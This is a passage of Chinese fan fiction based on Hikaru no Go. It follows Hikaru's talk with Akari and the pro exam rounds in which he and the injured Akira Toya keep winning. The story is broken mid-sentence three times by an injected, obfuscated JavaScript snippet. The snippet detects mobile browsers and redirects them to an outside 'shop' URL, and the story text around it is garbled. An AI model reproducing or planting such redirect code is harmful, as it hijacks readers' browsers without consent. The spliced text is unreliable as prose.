当他百无聊赖地往回走时,恰好遇到了正在这附近发街道上闲逛的藤崎明。她背着平时喜欢的那个小书包,好像比上次见面时穿得朴素多了,手上还提着一只巨型塑料袋,里面满满当当装的都是旧书。 “明明,你怎么在这里?今天不是要上学吗?”光发出了疑问。 少女马上把塑料袋往裙子后面一藏。 “哦!我刚才去楼上的折扣书店买书了。倒是小光,你前几天是不是还在感冒来着?怎么脸色还这么差?明天就是职业考试了,不要紧吧?” 明露出了担忧的表情。其实她眼眶下面也有浓浓的黑眼圈,但她更关心光。 这个问题很有技术含量。进藤一家到现在都不知道自己去了因岛那么远的地方,也不知道他害塔矢亮受了伤,该怎么回答可是个大问题。 但是对象是明明,她应该可以信任吧。 “我……唉,发生了一些事。”光也觉得憋在心里怪难受的,就一下子说了出来,“我和塔矢去外面看棋赛,结果害他不小心摔到了腿,所以他暂时没法回东京参加职业考试了。” “不会吧?!”藤崎明也是吃了一惊,“塔矢亮吗?为什么会摔到腿?这是怎么回事?” “都是我的问题。我在石阶上走得太快,他为了拉住我,才一下子踩空了……我这个大混蛋!大笨蛋!大坏蛋!” 他边说边拍自己的脑门。这些自责的感情,果然还是说出来之后心里稍微好受一点儿。不管是谁,只要能站在对面听他倾诉就好。 藤崎明露出了同情的表情。 “小光!这不是小光的错啦!塔矢受伤当然也很遗憾……但是你不可以因为这个就影响明天的比赛!” “明明……” “发生这种事,你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007064|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很难过吧。”他以为他们一定会先担心塔矢,没想到,明却在安慰他,“我想,塔矢君也不会希望你因为担心他而没精神参加考试的,对不对?” 她的笑容让他无地自容。从某一方面来说,他一直在期待能有人把自己好好责骂一顿,可是这样的人就是从来不出现。周围的大家对他都特别友好,友好得过分了。 “这倒是。我必须得通过考试。否则就没脸见他了。”光点了点头。 他在心里暗暗下定决心,要拿出真本事,横扫赛场才行。 佐为在光身后一脸欣慰地看着他。明明的出现,缓解了小光心里紧绷着的弦,真是太好了。 “不过,你也不要把自己逼得太紧哦。”藤崎明突然说。 “嗯?” “干劲当然要有,可是压力太大的话,也容易发挥失常的啊。要有一颗平常心,平常心!像我就是,10月还要去参加院生考试呢,现在不也一样紧张得要命!只能买了这么多参考书假装用功!” 她说话的语气就像个大婶一样。 但光惊讶的是她话里藏着的巨大信息量。仔细一看,塑料袋里确实隐约透露出《围棋院生考试指南》一类的字样。多半是久原推荐给她的书单吧。自从上次中学围棋大赛之后,久原就对这个“棋风肖似进藤光的美少年”产生了兴趣,还问过她要不要转学去佐和良加入围棋部。 但是,那个一直把围棋当纯粹业余爱好的明明居然要考院生?!难道她想当职业棋手吗?! 光顿时惊得嘴都张成了灯泡形。 “院生?!明明你吗?!” 少女红着脸抗议道:“干嘛那么惊讶啊,上个月我可是下赢了海王的副将喔。” “那不是因为运气好嘛。” “真是的!你为什么就不能鼓励我一下?人家可是为了小光才开始学棋的!”明故作生气地锤了锤他的肩膀,锤着锤着,自己噗嗤一下笑了起来,“不过,学到后来,才发现小光和围棋一比,还是围棋有趣多了。” “喂!” “男人和围棋根本没得比嘛。横竖要选的话,我还是选围棋好了。” “为什么这两样东西要放在一起比啊!” 这么一顿说笑之后,光突然觉得如释重负。两人一起走进拉面店,吃了碗熟悉的猪骨浓汤拉面,暖乎乎的热汤叫人脑门冒汗,却也有种神奇的安心感。说实在的,他很庆幸能在这里遇到她。要是没了这次对话,自己第二天早上醒来时的心情都会不一样吧。 这样想着,光终于露出了和往常相似的笑容。 “院生考试,要加油哦,明明。”走出拉面店后,他忽然对她伸出了右手手掌。 少女微微一愣。 随即也露出了同样的笑容。 “嗯,你也是,一定要考上职业哦,小光。” 两人清脆击掌一声,以示约定。他们各自的战斗,也即将吹响号角。 ●○●○ 80.Chapter 79. 职业考试,吹响号角! 次日,日本棋院围棋研修中心。 职业考试正赛。第一日。 决定在场的26人的第一局胜负之战,即将打响。就如这满天炫光的烈日一般。 进藤光调整好心情,大步踏入了比赛会场。 从还在电车上的时候开始,他就在不断地告诫自己——即使对手都是比自己弱很多的围棋上的“后辈”,自己也绝对不可以掉以轻心,要好好地去下每一局。 第一局的比赛,他的对手是椿俊郎。 当他知道这个消息的时候,真的吓了一跳。做职业棋士之后,他面对过各种各样的对手,但是像椿这样能给他留下深刻印象的还是少数。他不禁感到二人之间似乎存在着某种命运一般的联系。 不过,仔细想来,他们对围棋的爱就算得上是命运的联系了吧。 那么,他们今日的对局也就是一种必然。 “怎么了,小子,你一直盯着我的脸看喔?” 椿傻傻地望着光,有点不自在地挠着脸颊,好像被他看得害羞了。 一个上了年纪的大胡子先生说这种台词,进藤光也觉得很尴尬。他不是故意盯着对方看的,只是一时想起了很多以前的往事而已。 “对不起!我们开始吧!椿先生!” “离正式开局还有一会儿呢。你挺心急的嘛,小子。” “啊!是哦,抱歉,是我太紧张了……” 光只能哈哈笑着打趣过去。但他心里完全不是这样想的。 他要给椿看到怎样的一局呢? “双方时间各三小时,读秒一手一分钟,贴目五目半。那么,请开始对弈!” 很快,战斗在计时员的宣布下正式开始了。 职业考试的本战是星期天、星期二、星期六,每周三天、历时两个月的循环赛。今年的参赛者有26人。只有前三名才能合格。概率上来说,是个很残酷的数字。因为实际上能通过预选赛站在这个舞台上的角色,实力都不至于差到哪里去。 “小光,加油。” 佐为在给他鼓劲。看到他的微笑,光就觉得心里满满都是正能量。 于是光对他点了点头。 “嗯,我会赢的。而且要以他们都记住我的方式赢!” 他将第一颗棋子,放在了右上角的星位上。毫不犹豫。然后,迅速开展急攻。比起构筑自己的型,他更在意切断对手的型,每一处落子,都凸显出一种不同于往日的“硬气”。 偶尔也尝试一下不一样的棋路,会让他觉得更有趣吗,佐为起初有这样的推测。 然而很快,佐为就意识到了真相。 小光这是在……用塔矢亮下循环赛时的方式去下棋! 不知为何他好像很熟悉对手的风格,这样一来,想针对性地拦住这个大胡子,就显得格外简单。 读取棋路,在对手之前抢占先机,然后粉碎敌人的预期。 简单明了,锋芒毕露。 锐利的战意,简直就像是在代替无法出战的塔矢亮出征一样! 椿严肃地皱着眉头。 他之前也不是没听说过这个小子的传言。高段棋手级别的棋力,塔矢行洋的关门弟子,最有望摘下头衔的新星……进藤光实在是太出名了,即使是在工地工作的椿,也不至于消息不灵通到那个地步,所以他老早就知道“神童”的存在。 但是,怎么感觉这个神童一上来就在针对自己?是因为自己满脸吓人的大胡子的缘故吗? “嗯……” 越是往后下,他就越发感受到传言非虚。 一个子都无法如愿以偿。 他的想法,全都被对方看得一清二楚! 这棋怎么就越下越别扭、越下越憋屈呢?平时自己可是最粗暴直接的棋风!在棋盘上横冲直撞就是他最大的优势,可他在进藤光的全面拦截面前,却根本使不上劲! 按年龄,自己大了对面这个小学生整整15岁,怎么棋力就差了这么多呢?倒好像是进藤光比他大了15岁一样! 然而对于进藤光来说,29岁的椿和曾经度过过一次25岁人生的自己勉强还算是同辈人。 他正是因为清楚椿的实力,才会更加重视这次对局。他飞快地落着子,心里其实也在不断地计算着目数。 椿的套路比较不符合通常意义上的围棋规则,他没有机会长期接受正规的围棋教育,这助长了他野性的一面。面对这种有趣却不坚实的棋风,光的策略就是猛攻猛攻再猛攻。 ——塔矢,你看着吧! ——我也可以像你一样,用最短的路径取胜! 啪!啪!啪!棋子一颗又一颗,以神出鬼没的速度落在棋盘上,震得惊天动地。 椿下棋这么多年,还是头一低体会到全程被压着打的委屈。不过,虽然己方是压倒性地不利,他却觉得这一局格外爽快,拳拳到肉,一点也不叫人难受。 爽快化为喜悦,让那脸夸张的大胡子愈加抽搐了。 “挺行的嘛,小子!” “你也不赖哦,大叔!” 这奇妙的空气包裹着二人。 此时,考场外的休息区却是完全不同的一番场景。 负责监考的院生师范路过预定便当的记录表时,顺便瞥了一眼上面的名字。他本来只是好奇心作祟,想观察一下最有可能获胜的人,没想到,却在这里遇到了好几个出来休息时忽然落泪的年轻人。 师范盯着他们的背影,看着其中一人一路走到了休息区的桌子旁边,边哭边平复心情,顿时替他担心起来。 “每年都会有这样的情况呢……” 由于是职业考试,所有人都紧张得不得了,基本上每隔一会儿就会有人出来做各种能让自己冷静下来的事——去洗手间,喝水,或者干脆只是坐一会儿也可以,总之以那种高度紧绷的神经待在棋盘前也不会有任何意义。直接哭出来的也大有人在。这就是压力。 原本只是来订个便当的师范看得自己都紧张起来了。 棋盘前的人各自抱持着不同的想法。有人想着不要惨败,有人想着争取全胜,有人连不安的余地都没有。可是,对于他们而言,想赢下每一局棋想到眼泪都停不下来的心情却是高度一致的。 真是的……也都不容易啊。毕竟职业考试的合格名额实在是太少了!这样下去围棋界不会青黄不接吗? 师范本来还在替他们紧张,没想到,一个满脸大胡子的参赛者大步走到门口,直接推门而出。 这么快就结束战斗了?!对局才开始不到20分钟啊! 他难以置信地核对了一下手表和挂钟,数字没错。然后他听到摩托车引擎轰隆发动的声音,那青年已经戴上头盔驾车远去了。 谁?是谁这么快赢了第一局?! 是那个大胡子赢了吗,不然他也不会嘴角带着笑意…… 师范会有这样的疑惑实属正常。椿俊郎本人都无法理解刚才那一局的合理性。 他心中充满了神奇的愉悦。凡是站在这个考场里的人,每一局要是不下到最后是不可能放弃的,然而,他却从第二十手的时候就一个劲地考虑着“要不要立刻放下棋子”。 鬼才进藤光不是他能匹敌的对手。 他们完全不是一个量级。就像一只蚂蚁对抗一头大象一样,那不可能。 运气再好,也不可能。 差距与心情有一条复杂的曲线,差距刚开始变大时,心情会低沉不甘,但到后面差距越来越大,心情反而变得越来越好。因为,知道了有这样厉害的人在日本棋坛下棋,他就对未来充满了期待! 刚刚他可是在和这样一个鬼才对弈!能改变日本棋坛的鬼才! 人生真是有趣啊!有趣得让人欲罢不能! 他认输后,对进藤光挤出了一个开朗的笑容,便保持着那个笑眯眯的表情走出了棋室,来到外面,把车钥匙插进了自己的豪放款摩托车,疾驰而去。 不过他这么做还有一个原因。那就是他不想让自己回过神来之后的眼泪,流在这么神圣的地方。 听着呼呼的狂风从脸颊上拍打而过,让椿感到通体舒畅。被进藤光以极度优势击败,他会记一辈子。他不是个会在意输赢的人,只是,刚刚那一局,他亲自衡量后确定的自己与职业门槛之间的距离,果然还是无法逾越。 “他一定很难过吧……” 佐为望着椿远去的背影,说。 进藤光却摇了摇头:“椿先生才不会因为这种事气馁呢。他一定会继续往前追,像他这样的人才是真正乐观的英雄。人生的英雄。” 这样阳光的心态,让佐为好奇地眨了眨眼。 “小光,你好像说了句很酷的话呢。” “是吗?虽然早了点,但还是吃完午饭再回家吧,午饭午饭——” 光高高兴兴地往休息室的方向走去,并且在那里打开了自己的餐盒。妈妈特意给自己做的炸猪排谐音“必胜”便当还在里面,索性吃完了再走好了。 光大口咀嚼着酥脆的肉块,回忆着椿留下的那些在围棋书上绝对看不到的迷之棋路,忍不住笑了起来。其结果是,当后来听到午休铃声跑来吃饭的人们看到他时,就正好被他灿烂的笑脸深深打击到了。 这个家伙!居然笑得这么开心! 大家都这样想。20分钟就赢了棋的人,居然还赖在这里不走,而且笑呵呵的,不就是在炫耀嘛! 要是光知道周围那些人的心理活动,估计马上就抱着便当跑路了。 不过他完全不是为了炫耀才留下来的,他之所以没走,只是因为还有问题想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024257|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问从棋室里走出来的人。 啊,他们来了! “和谷!伊角先生!你们战况如何?”光一看到午间休息时走出对局场地的二人,就兴高采烈地迎了过去。 他这自来熟的个性也逐渐被院生们接受了。不知不觉,他们就把进藤光当成了和自己一个阵营的同伴。 “还行吧……伊角先生呢?”和谷看上去不太有元气。 “我觉得这一局能赢。” 伊角平素不爱说大话,他骨子里就是个认真严谨的人,所以他这么说了,那基本上就是赢定了。 闻言,和谷露出了凄惨的表情。 “只有我这么可怜吗……第一局就遇上了麻烦的饭岛。” “我们去看看赛程表吧?”伊角连忙用别的话题转移他的注意力。在休息时间还浪费精力去思考消极的事可不行。 和谷有气无力地点了点头,于是他们三人一起来到了被登记好的赛场表前。 结果更糟糕了。因为他看到了一颗本不应该存在的白星。 其上的名字是—— “真、真柴?!这这是什么运气?!还是不战胜?”和谷好不容易调理好的心态又在看到那颗刺眼的白星时暴跳如雷,“他的对手是谁?” 然后他的声音戛然而止。 因为那里赫然写着他看了都发怵的名字。 “塔、矢、亮?!” “不会吧?塔矢亮怎么可能会缺席第一场比赛?”伊角都难得露出了震撼的神情,“进藤,你知道原因吗?” 罪魁祸首进藤光下意识后退了一步。 和谷则差点当场骂街。 “哇啊!这是什么超绝狗屎运啊?!塔矢亮不来,轮空的人就相当于白捡一胜!可是凭什么偏偏这个人是真柴?!” 和谷铁青的脸色让进藤光瞬间更加自责了。他马上又后退了一步。 怎么说呢,狗屎运可能也是才能的一种吧…… “没事的,和谷你一定可以赢他!”光清了清嗓子,鼓励好兄弟,“你可是和我们一起特训过的人,已经脱胎换骨了!” “喂,你说得这么轻巧,明天不就轮到我和你对局了吗?!” 和谷看到赛程表的下一页之后,更加瞪大了眼睛。伊角顿时对他产生了微妙的同情。他知道其实说到底反正也会和进藤下的,只是,如果已经预料到会败给他的话,就会希望把这一局败北的体验尽量往后推迟。这是人类逃避痛苦的本能,也是为了保障其他对局的正常发挥。对于不擅长调节状态的伊角就更是如此。 “呼……太好了,我和和谷你的对战在最后一天。”伊角本想说点什么转移注意力,这么一说他自己都被自己吓到了,“也不好。希望不是决定我们俩谁能考上的生死战啊。” “伊角先生,你不要这么乌鸦嘴!你一说我就觉得好像会成真一样!”和谷忍不住惨叫起来。 “抱歉……”伊角苦笑着摸了摸后脑勺。 在目送获胜的进藤光离开会馆后,和谷突然说:“不过,进藤之前为什么叫我们一起去特训呢。” “嗯?” “帮忙把对手训练得更强,他真的不觉得心里有疙瘩吗?” 和谷的脸上闪过一丝苦恼。他并不是不信任对方,只是,考试之前还特意做那样的事…… “森下老师不是说,会变强的人,放着他不管也会进步吗?”伊角反问。 和谷哑口无言。过了很久,他才闷闷地想出一句反驳的台词:“由我们自己说这句话,好像不太有说服力耶。” 伊角微笑着摇了摇头。 “这说明进藤是个心胸很宽阔的人,不是么。”他突然换上了深沉的语气,“我很欣赏他的性格。就好像,只要站在他身边,任何人就都充满了努力的动力。” 说罢,他望着赛程表的眼神也柔和了起来。 他在发光。 不是在说笑,和谷是真的觉得他的四周在散发着光芒。 和谷被伊角身上的斗志刺得眼睛有点灼痛。他意识到,伊角的想法已经达到了之前他无法想象的高度,而且,这也正是伊角的围棋所具备的风格。永远都是那么举止有度。 伊角先生变了。那股不受心态影响的劲头,是从什么时候冒出来的?那次循环赛之后吗?或许也和进藤光塔矢亮二人的刺激有关吧。 和谷忽然不知哪来的动力,高高举起右手,大喊出声:“好!明天就由我打倒进藤!然后我要听伊角先生也这样夸我!” “哈哈哈,这个愿望很好实现啊,现在我就可以夸。” “不行!胜利的果实就是要靠抢走才好吃嘛!” 两人互相打气着,重新回到棋盘前。既然如此,今天的对局,他们绝对都不可以输! ●○●○ 81.Chapter 80. 塔矢亮,复出 很快,职业考试的第二局也结束了。 塔矢亮依然是不战败,和谷意料之中地惨败给了进藤光,伊角下赢了真柴、保持二胜,辻冈、饭岛、奈濑、本田等人暂时都是二胜,柴田、椿、和谷则是一胜一败。焦灼的气氛还在持续,也不知会一直延续到何时。 第三局时,众人都纳闷是否还会出现在职业赛场的塔矢亮总算姗姗来迟,赶在默认输棋的最后一分钟抵达了会馆。 但当他的身影浮现时,所有跪坐在棋盘前的人都一脸震惊地望向入口。 不是因为他们不相信亮会来,而是因为——这家伙居然坐在轮椅上!腿上还打了夸张的巨大石膏! “塔矢!你的腿怎么了?”将对方视为劲敌的伊角慎一郎忍不住发出了疑问,“前两场对弈你都没出现,是因为受伤了吗?” “劳你费心了。不过从今天起,我不会再错过任何一场对局。” 即使坐在轮椅上,塔矢亮坚定不移的目光也未曾削弱半分。 推着轮椅的明子心疼地皱了皱眉,亮的第一次手术才刚结束,前些天由于他在等待伤口消肿,只能忍着痛坚持,能保持清醒就很辛苦了,没法做其他的事。这次手术过后,医生说他理论上还需要躺在床上安心休养,等待下次取出骨头里钉着的钢板,然后才可以开始复健。但那样一来就会错过职业考试的好几场比赛。亮听完医生的解释,立刻表示自己要临时出院。 作为母亲,明子一万个不愿意这么快就送孩子过来参加考试。职业围棋可是极度透支脑力体力的运动,这一点她站在塔矢行洋背后,早就洞察得不能更清楚了。不论亮多有自信,托着仍在恢复期的病体连续作战也不可能对他毫无消耗。 即使如此,亮还是一口咬定要出席。 带着那张泛白得明显血色不足的脸。 “……他一定还在痛吧。”进藤光不自觉就将注意力集中在这个对手兼挚友身上,“止痛药可能会让人犯困,以塔矢的性格,绝对不会加大药量的。” 佐为也忧心忡忡地打量着亮的伤势,“坐在这种椅子上,他可以下棋吗?” 在工作人员的帮助下,塔矢亮本局的对手辻冈一同将棋盘转移到更高的桌面上,以便轮椅能放在桌子侧面。日本棋院对传统的重视一目了然,只要是正式比赛,几乎一律都需要跪坐下棋,但为了塔矢亮,他们还是破例答应了这一局在场外特设的房间里进行。 只是这样一来,其他人就无法看到他下棋的样子了。唯独幽灵形态的佐为还能从中央对局室飘出来,偷偷看一眼他们的对弈。 辻冈百感交集地盯着这名对手的脸色。 本来自己还在庆幸,连续两日都不战而败的塔矢亮,会不会在第三天也送给自己一局免费的胜利……看来是没有那样的好运气啊。但是,这样或许也不坏,受伤了的塔矢亮说不定无法发挥出百分之百的实力。 这也许是赢他的最佳机会。 即使有些胜之不武,对无论如何都想考上职业的自己来说,也是不可多得的机会! “抱歉了,塔矢亮。”辻冈下定了决心,夹起棋子的动作也愈加沉稳,“我必须拿下这一局!” 立?为什么他这一手想了这么久?明明只是平平无奇的一手…… “啊。” 佐为有些不安地叫出声来。 这个少年……他似乎是在故意拖慢对局的节奏。 因为塔矢亮尚在病中,体力比往常都脆弱,就用长考故意拖垮塔矢的身体吗?真狡猾! 自从回到现世后,佐为日常相处时间最长的人,除了进藤光,就是进藤光命中注定的对手——塔矢亮。他一直陪在他们身边,守护他们成长,和他们一同复盘、检讨,偶尔也给些建议,早就把亮也视作了自己的第二弟子。现在亮居然被人欺负!还是正大光明地欺负!这叫他如何冷静得下来。 “不许你这样玷污棋士的对局!塔矢他才不会输给你这种人!” 佐为气成了包子脸,对着辻冈一顿诅咒。 他当然也理解辻冈想要获胜的心情。严格来说,长考并不是违规行为,只要总时长控制在规定之内就好了,辻冈之所以出此下策,也是因为“塔矢亮”这一敌人太过强大、以至于不用盘外招就毫无胜算。可是!可是! “塔矢!不能上他的当!你要坚持住!”佐为连忙飞到亮身后,对他加油鼓劲。 “……” 然而,佐为的担心好像是多余的。 清脆异常的落子声,比往常任何一次对局都更加果决。 亮飞快地落下每一颗棋子,简直就跟没受伤一样。意志力是他最大的武器,伤病可能减缓他的行动,但绝不可能牵制他的思考。 敏锐如他,不可能察觉不到对方拖他进入长考的目的。 甚至用威胁般的眼神回望向对面的辻冈。 锐利如剑。 当下,辻冈就觉得自己仿佛被一柄匕首抵住了咽喉。无形的压力让他顿时满头大汗。这家伙,发现自己的用意了……那为什么一点都不慌张?明明连呼吸都轻得随时快要中断了! 是他太小瞧塔矢亮了!这家伙集中精神之后,就会将一切外界因素抛去九霄云外,进入完美的心流! 在心流之中,他根本感觉不到疼痛!也不知疲惫! 根本就是个怪物啊! 自己越是打算用小花招取胜,塔矢亮就越有斗志。怎么会有这样的人?以塔矢亮的实力,没道理对区区职业考试如此执着才对……他为什么每一局都能抱有这样偏执的求胜心? 辻冈冷汗涔涔。 他被棋盘内部产生的漩涡吸走,转转悠悠、越吸越深。 他不理解塔矢亮的觉悟,是当然的。 对亮而言,这并非普通的职业考试,而是绝不可以输的、对进藤光宣战的象征。 他在用实际行动朝着前方的光发起挑战。自尊心甚高的塔矢亮说要追上光,就一定会追上,前两局的不战败对任何参赛者都是致命打击,在这种前提下,亮如果想合格,就必须赢、赢、赢,一直赢到最后一局,没有其他退路。一旦他输了,不仅意味着未来一整年无法与进藤光在职业棋坛的正式对局里交手,也意味着……光必须背负“害塔矢亮浪费一年时间”的罪恶感。 以光爱多想的性格,他可能永远无法原谅那时的自己吧。 这是亮最不愿看到的结果。 “……不可能吧。”辻冈颤抖着握住棋盘的边缘,“我竟然会……” 他竭尽全力用上了最保守的方案,刻意拖长对局时间,把所有精力都加在了防御上,按照常理,塔矢亮就算要赢,也不可能在前半段就把他追击得溃不成形。但是常理这种东西,在塔矢亮的身上,根本不成立! “多谢指教。” 亮俯下身去,表示致意,自己转动轮椅离开了对局室。 辻冈想耍什么小手段他都无所谓,因为他在意的只有一个人—— 大厅的玻璃门缓缓开启,金色刘海的少年出现在阳光下,转过身来。他已经站在这里等亮很久了。 亮一言不发地与他四目相对。 什么也不必说。二人都知道,他们各自取得了完胜。 之后的第四局、第五局也是如此。 白星一颗接着一颗,在两人的名字下方迅速增加。 整场职业考试过程中,进藤光和塔矢亮两人都没有进行过一次对话,或许是觉得不需要,或许是想用围棋证明自己,又或许是想把重要的对白留在最后一起说,每次见面时,他们都只是互相确认一下对方的状态,就迅速离去。 这一点让每次过来帮光记录棋谱的久原都心生不解。 “进藤,你们俩多久没说话了?吵架了吗?”他见惯了这俩小学生大吵大闹的场景,见到这么安静的氛围,都有点难以置信,“是不是在因岛发生什么了?话说,塔矢的腿到底是怎么断的?” “好啰嗦哦,再问棋谱就不给你了。” “别!进藤大明神,您别生气!我不问了!您认真比赛!”久原立刻滑跪。 每天上午,久原木子郎也会跟着一起来考试地点观战。虽说是观战,但其实本质上也就是等进藤光从里面出来后立即叫他回忆当天的棋谱,以便实现《进藤光新初段职业考试棋谱大全》的宏图而已。 第十一次对局结束后,获胜的和谷义高和奈濑明日美几乎同时走出对局室,又一次撞见了正在托着下巴思考的进藤光和他对面坐着的、认真地拿笔在纸上做记录的久原木子郎。 和谷终于还是忍不住好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“话是这么说……但我觉得他状态不错。”和谷说,“也是因为你的影响啊,进藤。” “我?”这话让光有点惊讶。 “嗯,你出现之后,伊角就好像受到了逼迫一样努力,比平常更努力了。就算和塔矢对弈输得很惨,他也完全没有动摇。”和谷很严肃地分析着。 是这样吗?光转了转眼珠,他还从来没想过伊角会因为自己的缘故发生什么变化呢!重生以来,他的目光总是流连在佐为和塔矢亮身上,以至于周围的人都被有意无意地忽略了。伊角也能挺住外界的压力,发挥出他真正的实力了吗,这倒是好事…… “那和谷你呢?你有没有信心考上职业?” 光紧紧地盯着和谷的眼睛。和谷在烦恼,也许是烦恼于一些很没必要的胡思乱想,就像当初进藤光连胜时的伊角慎一郎一样。这样下去,他会陷入很糟糕的境地的。光有点替他担心。 和谷摇了摇头,把薯条塞进嘴里。“唉……别说了……我现在只期待最后与伊角先生的对局不要输给他就好。” 说到最后,他情不自禁垂下头去,脑袋上冒出一串长长的泡泡。 “别这样嘛,我们今天可是获胜者呀。”奈濑善解人意地安慰他。 她天使般的笑容给了他的一点精神。 “是啊……我们都加油吧!还没得出最后的结果!”和谷想给自己打打气,“说不定进藤没考上,我反而成了职业棋士呢!” “你在说什么梦话!不可能啦,不可能!” “怎么,你怕了吗,进藤。这次的塔矢亮杀心很重,我看你不一定赢得了他。” “哼!那就等着瞧吧!我一定要连胜25局给你看!包括塔矢!” “好啊,那我也一定要赢伊角先生!” 既然和塔矢亮没得架吵,那就跟和谷拌拌嘴吧,大声喊出内心的不安,会让不安也变成蝴蝶轻轻飘走呢。光的想法是对的,临近崩溃点的紧张情绪笼罩着这里的每一个人,偶尔像这样大大咧咧地说说话,其实能有助有减缓僵硬的空气,让他们怀着平常心去迎接下一局。 对于年轻人来说,他们都会相信人生有下不完的棋。所以,光才会更加希望这群朋友能尽快在围棋上崭露头角、走向自己的一片天地。 就这样,光和亮都保持着连胜。时间也终于来到了职业考试的最终日。 亮与光对局的那一日。 ●○●○ 82.Chapter 81. 进藤光vs塔矢亮 连胜。 连胜…… 还是连胜! 日本棋院出版部里,忙于最近的日程编排的天野先生简直要被进藤光和塔矢亮两人的战绩吓到了。主编安排他负责撰写职业考试进展的报告,本来他觉得,以进藤光的实力,考上职业肯定不是问题,所以也多少做好了这样的心理准备,但他的眼睛在看到胜负记录表上的那一整行获胜印章时,还是条件反射性地蹦了出来。 一连24颗白星!真是何等耀眼! 了不得啊……就算在往年,能做到几乎全胜的种子选手也是少见中的少见,上次全胜的新初段好像还是仓田厚?如今仓田都已经迅速爬到七段的位置了。要是进藤也像他一样,不,甚至超过他…… “天野先生。” 就在他绞尽脑汁地思考着赞美进藤与塔矢的表现的词汇时,邻桌的另一个记者戳了戳他的腰。 “唔?什么事?”天野转过身,还差点撞到了桌上放着的咖啡杯。 “你看到这个企划了吗?”同事扬起手里的企划书,“进藤光成为新初段之后,就把他的个人棋谱作为合集出版的企划。是那个国中生兼职评论员写的,他叫什么来着,久原是吧?” “……哦?” 天野好奇地接过它,粗略地阅读了一遍。 起先他还觉得这是个很胡来的企划,但是,在阅读了一下前面的市场调研和销售策划之后,他突然感到了来自四周的无形的压力。这不是“新初段”的棋谱集,而是“明星棋手”的棋谱集。进藤光vs塔矢行洋,进藤光vs绪方精次,进藤光vs网络棋神sai,进藤光vs塔矢亮……无论哪一个,单拎出去都是足以引起话题度的对局!他还是第一次知道这个进藤已经和如此多著名棋手有过对弈了!就算不是正式比赛,也很惊人! 想到上周在电梯遇见桑原本因坊时,桑原提起的那席话语,天野的神情忽然严肃了起来。 “唔。” 说不定真的有戏……那个异想天开的提议! 虽不知棋院高层会如何处理桑原老师的提议,他翻阅着棋谱,心中已经做出了决定:不论上面如何,他都会力保这本棋谱顺利出版。 进藤光的名气正在民间逐渐发酵,很多业余围棋爱好者都把他的经历当成传说大肆宣扬,就像追捧一个明星一样,密切关注着他的成长,卖点是有的;而且站在编辑的角度,这份棋谱集的质量也不允许他坐视不理。 “只剩下最后一战了啊。” 他这样感慨了一句。 “你是说职业考试吗?”同事问,“你应该要去现场看结果的吧,天野先生?” “对,我会去会馆亲自看看。写完报道之后,这本棋谱尽快交给这边排版和校对。越快越好。总编如果有疑虑,就先以我的信誉作为担保。”天野起身穿上外套,快步走到门口,“近期说不定还要做好重版的准备。你跟印刷厂那边也打个招呼。” “……诶?这么积极吗?” 新时代的新媒体也在逼迫纸媒做出转变。上了年纪的人读报纸的习惯尚在,他们还算有市场,过几年可就不一定了。所以,把时间压缩到最短,以“效率”取胜也是至关重要的。 “获胜的会是谁呢……”同事在他背后自言自语起来,“进藤的合格名额从上周就已经确定了,剩下的是……塔矢亮22胜2败,伊角慎一郎21胜3败,和谷义高20胜4败,真柴充20胜4败。就是他们四人了吧。塔矢的对手是进藤,伊角的对手是和谷,真柴的对手是已经5败的辻岗,好难猜的形势啊。” 塔矢亮无论输赢都会拿走第二个合格名额,如果伊角赢了,他就会成为最后一个合格者。 但如果伊角输了、真柴赢了,就还需要在这三人之中进行一次额外加赛。 就让他们静待结果的揭晓吧。 彼时,日本棋院围棋研修中心。 职业考试,最终战。 尽管多数人的结局都已经被确定了,可他们还是来参加了这一场“并无意义”的比赛。哪怕只是一局,能多得到一些经验的话,来年的考试也说不定会因此而增加一丝获胜的可能。他们的顽固和坚强都令人敬佩。 进藤光在踏进休息室时,理所当然地成为了视觉的焦点。 今年的比赛,他霸占了一个无人攻破的席位,以至于周围的人都把他当成公敌——然而同时,他们又不得不承认,进藤光的实力是真的很强,强到他们就算指指点点也会觉得羞愧的地步。 等在桌边的奈濑和饭岛正在闲聊。 “果然还是伊角会赢吧?”奈濑用手指在水杯上画圈圈,说。 “我也觉得。和谷还欠点火候,最近两个月他的状态并不好,而且还一直很纠结于和进藤的那一局……” 饭岛说到一半,突然,坐在他对面的奈濑就脸色一变,他觉得有点奇怪,想回头,却被奈濑使了个眼色。 原来是和谷不知何时就站在了两人身后。估计刚才这些讨论他也一字不漏地听了进去。奈濑担心地看着他,不过他好像没有生气,只是平静地在一旁坐下。 “今年是我第三次参加职业考试。”和谷开口了。 “和谷?”饭岛才是那个被吓到的人,“对不起!我没发现你就在旁边!” “没事啦。”和谷摆了摆手,表示自己并不在意他的乌鸦嘴,“第一次来到这里的时候,我紧张得不行,根本没法好好下棋。结果自然是惨败而归。” 他在回忆自己过去的历程。奈濑默默地看着他。 